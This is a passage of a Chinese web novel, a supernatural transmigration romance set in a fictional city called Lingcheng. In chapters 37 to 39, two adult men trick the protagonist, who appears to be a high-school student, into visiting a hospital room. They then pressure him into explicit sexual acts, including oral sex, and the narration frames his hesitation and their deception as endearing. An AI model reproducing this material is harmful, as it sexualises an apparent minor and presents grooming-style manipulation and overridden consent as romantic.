“你刚刚说的保险又是什么意思？”何显镐已经不想再听对面这怪物说他自己了。 一想到时早和无数个怪物待在同一个空间，何显镐刚刚压下去的情绪又起伏了一下。 “虽然它们已经独立存在了很久，但毕竟都是我分裂出去的灵魂碎片。”温执说到这里，又停顿了一下，“我可以对付这些东西。但在所有的怪物中，有一个稍微棘手的东西。” 温执的视线这时直视向了对面的人。 “那个东西应该与我长得一模一样，并且在那座城市中使用着“温执”这个名字。” “如果你进入了那座城市，记得避开它。” “等等。”何显镐打断了一下，联想到温执之前提到的S类特殊副本，“你希望我进入那座城市，然后将早早带出来……是这样吗？这就是你的计划？” 何显镐感觉这里面存在很多问题，温执一句话倒是说的轻松。 “放心，我会安排好一切，你和早早离开时会很安全。”温执说着又笑了一下，“况且，你只是一道保险，到时候未必需要你。” “……”何显镐忍了又忍，“告诉我该怎么做。怎么安全的离开副本场景，进入那座城市……再回到这边的世界？” 尽管在调查组现有的档案中明确标注着，离开副本场景的人都没能再醒过来。但是为了江时早，何显镐显然愿意冒险一试。 不过他还是要先声明，“我只是先听听，未必会信你。”何显镐说。 江时早至今昏迷未醒，未必不是因为意识留在了副本场景之外的空间里…… 对了，温执管副本外的空间叫城市？ 一座特别的城市。 何显镐看着温执，而这个人仿佛看出了他的想法。 温执说：“不需要那么麻烦。我刚刚举例的，只是你的新队友们可能进入铃城的方式，通过那些连接着江城与铃城的特殊副本。” “‘铃城？’”何显镐皱眉，他记得温执断更的新小说就叫《铃城》，“困住时早的特殊空间叫铃城？” 何显镐回过神来，有些不可置信：“难道你的新小说是以那座城市为蓝本创作的？” 何显镐的疑问很多。 但温执只解答了他需要对面的人知道的事：“你的意识可以在铃城中的一个人身上苏醒，就和早早在那座城市中醒来的方式一样。 “你可以理解为，你们本身在那座城市里就存在着一具承载体……一具身体，可以承载你们的意识，或灵魂。所以你不需要通过特殊副本进入铃城。 “何显镐。你可以直接在铃城中苏醒。相对而言，也更为安全。” 何显镐张了张嘴，“这……” 如果他没有理解错，对面这人是在说，那座叫铃城的城市里，有一具自己的……身体？ “哦，别多想。当初那座城市成型时，为了更逼真，它没有过多的篡改一些必要的存在。比如说你，何显镐，作为早早的朋友，你当然会存在于那座城市中。” 温执说这句话时的语调十分平缓，让人听不出他究竟在想什么。 不过下一秒，这个人脸上的笑容就虚假起来。 “不过……我不太喜欢你总跟在早早身边，所以在铃城中，你不是早早最好的朋友了。顺便一提，你的意识在里面醒来时，你会发现自己是一个高中生，名字吗……‘何天一’，和早早不太熟。” 温执微笑着解释。 不太熟……何显镐感觉自己听明白了。再开口时，他也忍不住冷笑了，“听起来铃城的存在和形成都与你密切相关。你好像真的能在铃城中创造一些东西……” 不过，何显镐也意识到：“或者现在仍在创造铃城的是铃城中的‘你’？” 就像何显镐最开始就意识到的，温执会这么快出现在他面前，只可能是事态进一步失控了。 对方等不了了。 这也意味着时早很危险。 “你失去了对铃城的控制权。”何显镐严肃道，“你刚刚说你可以应对铃城中的怪物，那在你处理你自己时，我应该怎么带时早出来？……我要怎么唤醒时早？” ………… 铃城。同样是傍晚。 医院大厅，温浅川与温既明对峙着。 “这个办法怎么样？”温既明神色淡淡的询问对面的人。 温浅川抱臂冷笑：“不怎么样。” “哦？”温既明扬了下眉，“那今晚我们都见不到早早了。” 温既明的语气里有一丝惋惜。毕竟早早现在正被便利店里的那人诱拐着。 早早不出来，他们便见不到早早。 “……”温浅川深呼吸了一口气，随后摸出手机，打去电话。 电话过了好一会儿才接通。 刚接通，温浅川就听出了对面的人不寻常的呼吸声。 江时早似乎正在做什么，或者刚刚做了什么，导致少年的呼吸有些急促，但声音还是那道声音，“哥，你找我？出什么事了吗？” 朝思暮想的人的声音就这样从电话中传来。 温浅川的目光不自觉间就柔和了下来，但下一秒，温浅川就听见了对面传来的某个背景音。 公寓里，穿着围裙的温执正对那接电话的少年说：“早早，别着急……慢一点。” 江时早刚刚原本在厨房帮忙。 中午温执下厨时就没让他帮忙，江时早实在不好意思，所以到了傍晚，再次自告奋勇。 这一次温执没有拒绝，还给了他一条绣着猫咪的天蓝色围裙。 江时早那时才发现温执的家里有好几条这样的猫咪围裙。和温执在便利店里穿的那条一样可爱。 电话响起前，江时早正在尝试使用烤箱，温执蹲在他身旁，认真的教他。 或许是起身的动作太快，再加上小跑到了客厅，接通电话的江时早才有些微的呼吸不稳。 另一边，温浅川自然听见了另一个人的声音。 那个禽兽又对早早做了什么。 温浅川的眉心狠狠地拧了一下，不过他还记得自己打这通电话的目的。 “早早，你在忙吗？”再开口时，这个人的声音中已然透着一股疲倦。 江时早很轻易的捕捉到了，有些担心：“哥，你怎么了？” 说完江时早下意识看了眼不远处的温执，温执向他投来了一个温和的笑容。 “早早，你今晚有空吗？”温浅川询问。 “我……” 事实上，今天下午温执就又替江时早向学校请了一段时间的假，用的理由仍然是处理公寓着火的后续问题。 所以江时早现在非常有空，虽然他请假的真实原因是为了和温执一起研究离开铃城的办法。 但是江时早显然也很在意温浅川，“哥，出什么事了？” 原本因为温执的出现，铃城在江时早的心中好像又变得虚无起来。 让他意识到这是作者Abyss创作的世界。 但此刻听见温浅川的声音，那一瞬间，这个世界的真实感似乎又回来了。 江时早握紧了手里的手机。 电话那端，温浅川也道出了这通电话的目的： “早早，我今天太忙了，没有办法去医院。可以麻烦你去医院看望一下……看望一下我叔叔吗？他现在一个人在中心医院。晚点会有医生去病房检查……需要有人在场。” 温浅川说出这段话时，站在他对面的温既明连连点头，并用口型无声的对温浅川说出了三个字： ‘好侄子。’ 看的温浅川眉心又跳了跳。 但电话里还是继续伪装出了疲惫上班族的声音，同电话那头的少年说道：“我下班后会尽快赶去医院的。” 用温既明人在医院，需要人照顾，将早早骗出来。 这就是温既明的提议。 不过温浅川还是说道：“早早如果没空的话，不用勉强。” “哥，我有空。”江时早回复道。 虽然不清楚为什么没有其他人在医院照顾温既明，但温浅川的电话既然都打到他这里来了，应该是真的找不到人照顾那个长头发的叔叔了…… 大概是什么家庭原因吧。 江时早没有询问别人家的隐私，不过在答应温浅川的请求时，他下意识地又看向了不远处的温执。 温执在家里时，穿的是淡黄色的绣着猫咪的围裙。 这会儿，温执已经回到了烤箱前，看起来正在做刚刚江时早准备做的工作。 江时早的语调瞬间就变缓了些：“哥，需要我几点到医院？” 江时早想去帮忙，又感到十分不好意思，因为温执正在准备两人的晚餐。 “八点之前，可以吗，早早？” 江时早抬头看向墙壁上的时钟，现在时间是傍晚六点五十分。 从铃河小区到中心医院大约需要四十分钟车程，江时早乘坐404路公交车去学校时就会路过那一站。 温执这时已经重新站起了身，正回头看向他。 “好，我会尽快过去的！”江时早同电话那端的人保证道，“哥，那我先挂了，我去准备一下。” “好。谢谢早早。”温浅川的语调似乎放松了一些，“不用太着急，早早，晚一点也没关系。” 等到电话挂断，江时早就有些紧张了，他走向温执，听见温执说：“早早要出门？” “是的……哥，我得去一趟医院，那个，温浅川的叔叔，他现在一个人在医院，我想去陪他一会儿。” 中午他们回家后，江时早就将自己来到铃城后的所有事……几乎所有事都与温执分享了。 包括他在铃城认识的人，还有他那原因不明故障的穿书系统，还有无限流世界，副本，系统…… 一切的一切，除了和温浅川之间的一些事没有说，其它的江时早都告诉温执了！巨细无遗！ “医院有危险。” 温执显然也已经从刚刚零碎的对话中猜到了什么，而他说这句话时，眉心微微皱了皱。 再看向江时早时，这个人的眼眸中又充满了关心，好像一直在为江时早着想。 “按照我最初对这个世界的设定，中心医院里存在着不少灵异事件。马上就要入夜了，早早你现在去医院……我不放心。” 灵异事件几个字果然让江时早抖了一下。 那道望向温执的目光顿时也变得眼巴巴起来，“哥，我该怎么避免触发那些灵异事件……”江时早小声开口。 下午时，温执对江时早的问题几乎有问必答。 这个人温柔又耐心。 这直接导致了半天过去，再遇见此类设定问题，江时早下意识间便向眼前的创作者寻求起了支援。 温执似乎无奈的笑了笑，“早早，看来他们对你来说很重要。” “他们……”江时早的脑中闪过温浅川的身影，“他们对我来说……不止是小说世界里的人。” “我大概明白了。”温执叹了口气道，“我送你去医院吧，早早。” 闻言，江时早愣了一下，他看向厨房方向，“可是哥你还没有吃晚餐。” “没关系，早早不也没吃吗？这些……我们可以等晚上回来后再做。” 温执说着，向厨房走去。他关了烤箱，在将准备好的食材储放好后，这才脱下围裙。 江时早也将围裙脱下放好。 两条不同颜色的猫咪围裙就这样并排着挂在了挂钩上。 这时温执又从冰箱里取出了一块蛋糕，递给江时早，“先填点肚子。” “谢谢哥。”江时早接过蛋糕时忽然想到，“但哥你好像……该去便利店上班了。” 江时早差点都忘了这件事。 温执眯了眯眼，温和地说：“我会跟老板请假，这些事都没有早早你重要。” “一会儿路上，我再跟你说医院的情况。” 温执说的很认真，江时早莫名的又有些不好意思了。 他快速吃好蛋糕，和温执一起出了门。 …… 铃城中心医院。 察觉到温执正在远离铃河小区，医院里的两人脸色都变了一下。 “他想做什么？他可以离开那座公寓附近吗？” “理论上当然不可以……” 第37章 第三十七章 “还可以用嘴。” 坐上404路Bus后没多久, 江时早收到了温浅川发来的短信，里面有医院的信息和温既明的病房号。 温既明住在医院第十楼。 “怎么了？”温执关心的询问了一声。 “没事哥，浅川哥把病房号发来了。”江时早说, “他叔叔住在神经外科……1012号病房。” “哦？”温执接了一句, “这位叔叔是腿有问题, 对吗？” 说话的人不露痕迹地眯了眯眼。不知道在想什么。 江时早没有注意到身旁的人正在打什么主意，想到温既明，他点了点脑袋，“对，昨天又被车撞了。” 江时早对温既明印象深刻，毕竟从来没有见过那么好看的留着长发的男子。 “那真是太可怜了。”温执缓缓说道。 注意到江时早的表情，温执的眼尾又眯了眯。早早……很喜欢长发吗？ 两人赶到铃城医院时，距离八点还有一刻钟。 温执陪江时早来到了十楼, 不过这个人走出电梯后, 就停在了一张长椅边。 “早早，前面尽头那间病房应该就是1012号病房。我与里面的人不相识，我就不同你进去了。”温执说，“我在外面等里，你放心去看望，别的不用担心。” “哥, 谢谢你。”江时早感动的望向温执。 病房中，温既明听见敲门声后, 这个人没有询问，在第二声敲门声响起时，便应道：“请进。” 温既明的声音很有辨识度，江时早将门推开了三分之一时，就与那背靠在病床床头的男人四目相对了。 江时早的心跳频率瞬间乱了一下, 旋即他闪身进入病房，并将房门关上了。 可能因为对方是长辈，江时早有些紧张。 “叔叔好。” “早早，辛苦你了。”温既明脸上浮现出一道很淡、但十分亲和的笑容，他抬手指了指病床边的那张椅子，同那稍显局促的少年说，“过来坐。” 江时早就走过去坐在了那张椅子上。 看着坐到了自己身旁的少年，温既明的心情极佳。心想……好乖，真像一只小白兔。 下一秒，这个人又抬手提起了床边柜上的饮品袋，“早早，这是给你买的奶茶。” 江时早看着那杯递到了自己身前的奶茶，有些受宠若惊。 “谢谢你昨天请我喝奶茶。”温既明浅笑着说，“还有……麻烦你今天照顾我了。” “不麻烦！”江时早说。 “早早，你喝。” 温既明微微侧着身，这个人的长发垂在身后，两人距离接近后，江时早有一点被对方的五官和身形震住。 温浅川的叔叔……气场好强。 温既明虽然半靠在病床上，是病人，但是与他目光对上，江时早就很紧张。 “好……”江时早咽了下喉咙。 视线移开时，椅子上的人赶紧将吸管插入了杯中，坐端了喝。 那之后，病房里似乎恢复了安静，整个空间仿佛只剩下了仪器规律的声音，和江时早吸奶茶时发出的轻微声响了。 温既明的目光落在少年水润的唇瓣上。看着那两张唇瓣的动作，他眼底的神色也在发生变化。 等到江时早的奶茶喝完大半时，病床上的人才再次开口。 “早早，喜欢吗？” “嗯……”江时早看向温既明，诚实回道，“很好喝。谢谢叔叔。” 温既明似乎笑了一下，但他的神情却变得似乎有些难为情了，那之后这个人连眼眸都微微敛了起来，他看向床边的少年：“早早，可以麻烦你一件事吗？” “叔叔你说。”闻言江时早立刻就放下了奶茶。 他本来就是来照看温既明的。对于对方的需求，江时早肯定会尽力满足！ 温既明似乎还是有些犹豫。 “叔叔？” “早早。”温既明抬眸看向了江时早，“可以麻烦你……扶我去一下卫生间吗？” “当然可以。”江时早应道。人也站了起来。 但站起来后，他显然想到了什么。 江时早的目光落在了一旁的轮椅上。 声音里多了一丝迟疑：“叔叔，我应该用轮椅推你过去，对吗？” 温既明的腿有问题，应该不能用扶的吧……江时早想。 “对。”温既明缓缓笑了一下，神情又染上了几分困窘，“等进入了卫生间，可能需要早早你扶着我一下……可以吗，早早？” 江时早愣了一下。 温既明说得其实有些委婉，大约也有不好意思的成分，但江时早这会儿已经彻底明白了对方在寻求什么帮助。 看着男人微敛的目光，江时早顿时也有些失措，害怕伤到对方的自尊心，当即就回道：“当然可以，叔叔。这一点也不麻烦。” 说着他就绕到病床另一边，先将轮椅推了过来。 江时早小心翼翼地扶着温既明坐在了轮椅上。这个过程中，他的视线不止一次落在温既明的腿上。 其实……江时早感觉问题真的不大。 虽然温既明的身形也是宽肩腿长型，但他完全扛得起温既明！ 将人平稳的扶到轮椅上坐好后，江时早是这样感觉的。 所以一会儿到了卫生间，他肯定也能扶着温既明……如厕。 没问题！ “我的腿并不是完全无法动弹。”温既明这时说了一句。 轮椅后方的江时早看不见男人此刻的神情，但对待这个话题，江时早格外小心。如果温既明不提起，他应该不会询问。 温既明说：“虽然很困难，但现在已经不是完全没有知觉了。” 温既明说完这句话又沉默了。 江时早刚刚才扶过对方，对温既明双腿的情况其实算是有过观察。温既明说有知觉，但实际上那双腿应该还是无法使上力……江时早观察。 “叔叔，会好起来的。”江时早轻声回道。 两人这时已经进入了卫生间。 这间独立病房的空间很宽敞，或许是特殊病房，卫生间里的空间更是按照为病人提供舒适度与便利性的目的建造的。 所以这里面一点也不会感到拥挤。 卫生间里还放着一双医用腋下拐杖。 江时早原以为问题不大，但事实是，在他将温既明的一只手臂跨过自己的肩膀扶好后，温既明的另一只手则需要杵在一根原本就备在卫生间里的医用拐杖上。 而温既明这时的脸颊已经有些轻微泛红了。 江时早的双手都搀扶着对方，一只手放在温既明的腰上，另一只手则扶着对方那搭在他左侧肩膀上的手。 实际上，江时早的全身都在用力。 然后他发现……他还需要做一件事。 江时早这时的面颊其实也有些红了。但他还是得说出口： “叔叔，我帮你解开吗？” “麻烦你了……早早。” 温既明的左手这时动了动，自觉搭在了江时早的肩上。 江时早瞬间就明白了，在稳住两人的身形后，江时早用空出来的左手伸向了对方的。 过程不是很迅速，江时早求稳，但半分钟后，也算是解开了。 但是当那东西真的出来后，江时早又愣住了。 不仅是因为它的大小。 还因为…… 此刻它并不是平时的软的状态。 好大。 江时早的大脑空白了一下。 旋即又莫名其妙的闪过了一个想法：大家的都好大………… 等他反应过来自己刚刚想了什么后，江时早羞愧的差点没有扶好温既明。 “嗯……”温既明的口中发出了一声沉吟。 这道声音，成功的将江时早吓得立刻使出了全身的力气，将男人扶稳了。 “叔叔，没……没事吧。”江时早的声音都打起了颤。 温既明的呼吸似乎也急促起来，这时的他表情已经格外难堪。 “早早，我……” 温既明声音沙哑，视线似乎已经不敢看向身旁的人。 “叔叔？”明明已经将人扶稳了，江时早却还是很紧张，甚至莫名其妙的更紧张了。 “早早……我现在……”温既明看起来有些难以启齿。 但这个人最终还是说出了：“我现在……无法排解。” 听见这样的话，江时早的大脑瞬间又宕机了一轮。 “那该怎么办？” 江时早的脑子嗡嗡的，连自己的声音都有些认不出来了。而他的视线还下意识地又看向了温既明的。 下一秒。江时早咽了下喉管。感觉自己应该明白现在的情况。 有一瞬间卫生间里安静极了。 直到江时早听见了一道艰难的声音： “我可能需要先……才能……” 温既明的话并不完整，但同为男性，江时早完全Get到了对方话中那些难以启齿的空缺是什么。 现在这个情况，叔叔应该需要先解决当前的生理状况，然后才能顺利尿出来…… 江时早的想法很直白。 “抱歉，早早。”温既明再开口时，他的脸庞已经侧向了另一边，似乎是做了深呼吸，他的语调缓和了很多，但本能的反应还是极为强硬。 江时早的视线稍微一晃，都能看见它的形状。 “早早，你先把我放下来吧……” “叔叔，你需要帮忙吗？” 两道声音几乎同时响起，旋即两个人又似乎都愣了一下。 江时早其实真的只是……正经的询问……但是在眼下这么尴尬的情况下，“帮忙”这个词冒出来后，立即就触发了他的某块记忆。 触发了他和温浅川互相帮忙的记忆。 那一瞬间，这句话在他的心里也发生了质变。 回神时，江时早简直像一条被煮熟的虾。 温既明回过头，深色的眼眸望向少年那双紧张的眼睛，他的唇抿成了一条线，再开口时，这个人低沉的声音里藏满了试探： “早早要怎么帮我？” 对上温既明的目光，江时早的心跳瞬间加速。 慌乱中，他的手竟然落在了温既明的身上。 江时早大约也是大脑缺氧了。忘了温既明受伤的是腿，不是手。居然说出了：“我用手帮你？” 而那一刻，被少年的手触碰到的温既明发出了一声舒服的喟叹。 温既明显然懂得抓住机会。不给江时早反悔退缩的机会。明明身形更为高大，这个人此刻却又伪装出了一副惹人怜的病态：“早早，麻烦你了……帮帮我。” “……好。” 这处空间里的气氛自此已经完全变了。 江时早好像也没有拒绝的理由。他本来就是来这里……照看温既明的。现在也只是帮忙一下而已…… 虽然这样的帮忙有些特殊，超出了他的预期。 但他们都是男人……这样的事，应该也算正常。 这样想着，江时早手上的动作就顺畅多了。 温既明最后还是坐回了轮椅上。 而一回生二回熟的江时早，除了心跳还是非常失常，他感觉自己做得应该还不错。 在他的帮助下，温既明很快就释放了一次。 原本应该是松一口气的时刻，但温既明的量很多，江时早的衣衫不幸的被弄脏了。 对此温既明感到十分抱歉，他的声音低沉，充满歉意：“早早，抱歉，一会儿我让温浅川给你买一身新的衣服来。” “不、不用——”江时早本能反应拒绝道。 但拒绝之后又为自己的反应感到有些迷茫。 衣服确实弄脏了，温既明提议让温浅川给他带一套新衣服来好像也没什么问题。 所以自己在慌什么，还下意识拒绝了。 看着江时早慌乱的模样，温既明十分体贴的抬起左手，先帮少年擦拭了一下下颔上的污渍。 “早早，我可以了，你还可以扶我起来吗？” “当然可以。”回神的江时早涨红着脸说。他没忘记，温既明最初想来卫生间是想做什么。 但就在他想要伸手时，温既明却握住了他的手腕。 “怎么了，叔叔……？”被打断的江时早低头看向了温既明。 温既明眯了眯眼，看着身前的少年，他思索了一下，目光就落在了江时早的身体变化上。 江时早穿的是运动裤，所以十分明显。 “早早，你是不是也需要释放一下？”询问的语调响起。 但在江时早反应过来前，温既明的手已经握在了少年的腰上。 现在他们这个体位非常好，非常适合……温既明提议：“早早，我也帮你纾解一下吧？” 意识到什么的江时早顿时手足无措。他低头就能看见温既明俊美的面庞，而对方的视线正落在他身上。 温既明这时抬起眼眸，望向江时早的眼睛，悦耳的低沉的声音此刻满是引诱：“早早，你知道除了用手，还有一种方式吗？” “什么？”江时早的眼神迷茫了一下。 温既明脸上浮现一缕笑意，他就这样望着江时早，缓缓启唇道：“还可以用嘴。” 闻言，江时早整个人都呆在了原地。 “我帮你，好吗，早早？” 温既明说着，手上动作优雅，但却是要解开少年的衣衫。 也就是这时，卫生间的门被人从外面打开了。 温既明对这突如其来的变故倒没什么反应，但江时早吓了一跳。 尤其是看见门外站着的人是温浅川后，江时早下意识先拦住了温既明的动作。 “哥、哥，你下班了。” 江时早望向温浅川，注意力完全被门口那人吸走了。温既明这时才感到了一丝惋惜。 江时早也不知道自己在慌什么。但他现在真的很慌。是这辈子少有的惊慌程度了。 过了好一会儿，温浅川才开口：“早早……” 开口时，这个人也走进了这间卫生间，还顺手将门给关上了。 温浅川这会儿已经有些后悔昨天用了互相帮助很寻常……这样的借口了。结果就让温既明趁虚而入了。 但没有关系，既然早早又需要帮助了，他肯定会比温既明这个身体残疾的人更能让早早感到愉快。 “哥？” 温浅川欺身靠近后，江时早感觉这间卫生间里的空间好像也没有很大……他整个人都有些呼吸困难了。 第38章 第三十八章 实在是太好欺负了 “早早, 你们刚刚在做什么？” 温浅川靠近时，视线有明显的看向下方的趋势。感受到这道视线，江时早十分羞愧, 几乎想要遮挡。 他也不知道为什么自己会有这种反应。 刚刚明明是在帮温既明, 但是帮着帮着, 就…… 江时早每次低头，就能看见温既明面庞上的神色，温既明每一个细微的反应，对方的眼眸，对方沉重的呼吸，都离他太近了，再加上自己正在做的事，气氛很奇怪, 就好像进入了一个隔离空间, 等江时早反应过来时，温浅川也出现了。 江时早第一次真切意识到温浅川很高，之前温浅川都会低头与他说话，而他现在需要仰着脑袋，才能看清对方的神色。 温浅川看起来有些生气。 “你吓到早早了。”温既明这时不轻不重的插了一句。 温浅川则根本懒得理会这人。他的目光紧紧地凝视着身前的少年江，“早早真不乖, 怎么能和我的叔叔做这种事？” 听着温浅川说出的话，江时早的眼中瞬间闪过了茫然与羞愧。 下意识道歉：“哥, 对不起。” 一紧张，那双琥珀色的眼睛就更加水润了。 温既明看着因羞愧而红透了脸的江时早，刚刚软下去的东西又有了复原的迹象。心中感慨早早还是太单纯了。 ……实在是太好欺负了，看得温既明蠢蠢欲动，也想加入。 那边, 温浅川还在步步紧逼，“早早接下来准备做什么？” 江时早脸庞发烫，想要解释，但对上此刻的温浅川那双异常沉邃的眼眸，他的脑袋猛得又低了下去。 江时早已经快要坐在马桶上了。 好在温浅川伸手揽住了少年。 但腰被人扶住，江时早又有些别扭的动了动。 直到温浅川的声音恢复往日的平静，江时早这才小心翼翼地抬起了头。 “早早。” 温浅川此刻视线低垂，目光似乎也已恢复温润，不再具有攻击性，那双眼眸中有一丝无奈，好像拿眼前的人没办法。 “哥……”江时早小声喊了一声。 “温浅川，你冷静点，早早只是想帮我。”温既明浅笑着说。 温浅川额角的青筋跳了一下，不过在江时早面前，他还是维持住了往日的形象。 不过…… 温浅川将江时早拉到自己身前，两人靠近后，他低头在江时早耳畔说道：“早早，我没有怪你。只是温既明是长辈，你们这样做不合伦常，这种事，你应该跟哥做……” 温浅川说着，手就覆在了少年身上。 “呃……”江时早的眼神迷茫了一瞬。 但他的双手已经十分自然的扶在了温浅川身上。 这间宽敞的卫生间里配置了淋浴空间，这样的空间对于江时早和温浅川来说都不陌生。 两人昨天才一起洗过澡，所以当温浅川故技重施时，江时早的身体记忆已经配合起来。何况温浅川还在少年的耳畔蛊惑道：“早早，我帮你。” 温既明听着温浅川的鬼话，嘴角勾起一抹嘲讽的弧度。但他这时并未插话，也未阻止。这个人只是看着江时早的脸，看着少年因为温浅川的动作越来越动情，温既明目光沉沉。 江时早的身体记忆很强烈，但他的羞耻心也很强烈，在他视线一偏，对上温既明的目光时，江时早混乱的脑子瞬间又受到了冲击。 原本扶在温浅川身上的双手也下意识地想要推开对方。 当然，没推动。 “哥，叔叔……还在。”看着那个坐在轮椅上的人，江时早有一瞬间简直想挖个洞埋了自己算了。 事情怎么就发展成这样了。 温既明目光沉沉，江时早感觉自己被这样的视线烫了一下。之前不敢看温浅川，现在他有些不敢看温既明了。 但温浅川的动作根本没有停。这个人一只手揽在江时早身后，另一只手则继续着之前的动作。 这种刺激下，江时早身体发软。差点又要坐在马桶上了。 “哥，等一下——”江时早眼神飘忽，声音坚定了两秒。 温浅川果然停了一下，两个男人的视线都落在了他身上。 江时早缓了两口气，虽然心跳还是很快，身体都在发颤，他靠着温浅川，最后几乎是偏过脑袋，谁也没看的说出：“哥，你先帮一下叔叔。叔叔他还没有尿……” 江时早其实想的是温既明还没有……现在温浅川回来了，他们两个人可以更好的把叔叔扶起来。 再把叔叔送回病房。 “……”有一瞬间，温浅川的表情都僵了。 卫生间里响起了一道沉沉的笑声。温既明看着那个害羞的少年，思索半秒，这个人说：“早早，我现在……” 温既明开口时，江时早的脑袋就转向了他。 然后江时早就发现，温既明现在又需要了。 “……”江时早又呆了。 他看了看温既明，又看向温浅川。不难注意到，温浅川也出现了相同的反应。 三个人的呼吸都不再平稳。 种种刺激下，江时早腿一软，真的坐在了马桶上。 温浅川这时蹲下身子，半跪在了江时早身边。 温既明则坐在轮椅上，距离马桶不到一米，正对着江时早。这个人就这样注视着江时早，像之前一样，看着温浅川帮少年纾解，自己则先用手缓解一下。 温既明的动作慢条斯理。只要看着江时早的脸，这个人就十分动情。 江时早一开始还因为羞耻而有些退缩。 但卫生间里的两个人都在告诉他：“没事的，早早。” 蛊惑的声音，看似温柔的举动。在这样的多重引诱下，江时早眼神迷离，逐渐沉迷。 …… 到最后，江时早坐在马桶上，全身好像都在发烫。 他的呼吸急促。 时间已经不知道过了多久。也不知道从什么时候开始，他的双手都被占用了。 第39章 第三十九章 “你是疯子吗——？！”…… 江时早醒来时, 大脑反应了好一会儿，才认清眼前的状况，意识到自己在哪里。 他是在病房中那张家属陪护床上醒来的。 “早早, 你醒了。” 熟悉的声音在他身边响起。看见坐在床边的温浅川, 江时早下意识就要起身。 温浅川很自然地伸手扶了一下少年。这个人的声音平稳温润, 似乎还带着一点笑：“早早，别着急。” 仿佛一切如常。 然而床上的人在意识回笼的那一刻，已经感觉自己整个人又在升温了。 江时早看向温浅川，视线稍微一偏，就能看见更后方一点的，对面病床上的温既明。 “……哥，叔叔。” 床上的少年嗓音有些不自然的哑。 江时早显然想到了之前发生的事。 他明明是来照看病人的，最后却在病房配套的浴室里洗了一个异常燥热的澡。 而他最开始明明只是想帮温既明进入卫生间……如厕, 结果最后他比温既明还先尿了。 脑子重新开始运转后, 回忆起之前发生的事，江时早整个人仿佛烫成了一团火球。 而他自己也是在之前那不断刺激下，最后竟然昏倒在了淋浴间中。 事实上在江时早晕过去时，当时同处一个空间的温浅川第一时间就将人揽入怀中，抱了起来。 江时早的身体没有问题。只是在过度的刺激与欢愉下，可能还要加上最近接连不断的紧张与疲倦, 所以身体机能强制它的主人休息了片刻。 那之后，温浅川就将人抱到了干净的单人床上。 至于江时早, 他的记忆断在了浴室里。 注意到自己的身上已经换上了新的衣物，衣服应该是温浅川买回来的…… 但即使此刻穿上了干净了衣物，江时早还是感到浑身上下都有些不自在。 他有点不敢看身旁的温浅川，当然，更不敢与对面病床上的温既明对视。 江时早的脸颊愈加泛红。得亏此刻病房里的光线已经被调成了夜晚的深蓝色, 江时早还能掩饰一下自己。 但当时在卫生间里…… 温既明说可以用嘴时，江时早就呆住了。根本无法想象那是什么事。 结果不仅温浅川先用了嘴帮他，后来温既明也对他做了同样的事。 江时早想拒绝，两人竟然还说他可爱。 江时早的脑子都要爆炸了。更别提在这种刺激下，他的身体也更加奇怪了。 最后根本分不清自己到底是想要还是想拒绝…… 只能跟随另外两人的引领。 此刻重新回到了病房中，江时早仍感觉自己整个人都有些无处可放。 对了—— 江时早看了眼时间，竟然已经快午夜了！心中的遁意瞬间加倍。 温浅川已经下班回来了，有温浅川在医院，自己也没有必要再留在这里了。 对，就是这样的。 不过不等江时早开口，病房的门忽然被人敲响了。 敲门声令这个空间里瞬间安静了一刻，直到温执的声音在病房外响起，这一次江时早没有犹豫，他快速下床穿好了鞋。 当然也不忘同病房中的人解释：“哥，外面是我的邻居。他之前在走廊里等我……” 醒来的江时早就觉得自己忘记了什么—— 温执还在走廊里等他！ 病房里，眼看着少年要去开门，温浅川想要拦，他并不想早早离开，但最后还是收回了手。 不过，“早早，你要走了吗？”温浅川的声音有一丝不舍。 江时早的脚步顿了一下。他今天好像还没有和温浅川好好说过话。 温浅川的声音的确令这个想要逃跑的少年犹豫了一瞬。 但一想到之前卫生间里的事，江时早感觉还是下次再说好了。再待下去，他担心自己又做出更多的奇怪的事。 “哥，很晚了……” “那我送你。”看出眼前人的为难，温浅川没再继续挽留。 病床上的温既明这时也开口道：“早早，今天很感谢你。” 这道声音将江时早的目光唤向了他。 但一对上温既明的视线，江时早的脸庞就开始发烫。紧张下，这个站在病房中的少年还向着对方鞠了一躬。惹得病床上的人又发出了一声沉沉的笑声。 “早早，你真可爱，我很喜欢你。”温既明坦言道。 听到这样的话，江时早顿时又有些手足无措，他看了看温浅川，又看向温既明，最后话都有点不会说了。尤其是目光晃到温既明好看的薄唇时—— “谢谢叔叔……！”江时早根本没有深思温既明口中的喜欢的含义。他满脑子差点又被对方含住自己时的画面击晕了。 “早早。”温浅川抬起的手臂这时放在了少年的肩膀上，不轻不重，但将江时早拉回了神。 对上温浅川的视线，江时早也十分羞愧，甚至更加羞愧了。 “哥，那我就先走了……你……你也要注意安全。” 最后那句话的声音比较小声。是在提醒温浅川小心那个无限空间。 即使这种时刻，江时早也还记得提醒温浅川。 说完后的江时早几乎是摇摇欲坠地走向病房的门。 这样的状态让人怀疑他的脑袋已经因为过多的思绪而一片混沌。 病房的门就是这时被人从外面打开的。 面向它的江时早瞬间感觉眼前一亮。 和深沉的昏蒙的病房相比，走廊里的光显然明亮通透。 光线涌来的方向，温执就站在那道亮光中。 看着光明的温执，江时早的眼眸瞬间也亮了一下，变得清明。 “门没锁。”温执的声音在门口响起，像是解释，但他的视线并未看向房间里的另外两人。 他的目光始终落在走向他的少年身上。 “哥。”江时早毫无疑问地向温执走去，“抱歉，让你等了很久。” “没关系，早早。”温执的声音还是那么温柔，这个人好像完全不清楚病房中发生过什么，只在江时早走向他时，向眼前的少年伸出了一只手。 既温柔又光明。 “多久我都会等你的。”温执说。 他笑得很温柔，江时早只一眼，便很想跟对方离开。 …… 等到病房里只剩下温浅川和温既明后，这两个人几乎同一瞬间没了好脸色。 开始互相指责。 “都怪你，将早早逼得那么紧。”温既明指责道，“你吓到早早了。” 温浅川冷笑一声，同样心烦意乱。“早早更想要我。你如果识趣点，当时就该自己退出去，结果你做了什么？” 如果不是温既明最后把事情做成了三个人一起，早早清醒后也不至于吓成那样—— 吓得……直接跑了。 温浅川感觉自己伪装了那么久的形象也受到了威胁。 温既明好像看出了这个人的想法，嘲笑声当即脱口。 “等早早想明白后，你想再骗早早，可就不会那么容易了。” 温浅川当然清楚这个隐患，事实上，他现在还有另一种不安。 “便利店那人刚刚一直在走廊里，却没有插手……” 这个人什么都没做。 温浅川一开始就感到不对劲，但在温既明开始引诱早早后，他也没心思再管走廊里的温执了。 温既明知道温浅川在想什么，“他是故意的。” “故意等我们吓到了早早……等着早早投向他的怀抱。” ………… 江城中心医院。 “当我回收所有的灵魂碎片后，早早自然就能醒来了。”温执说道。 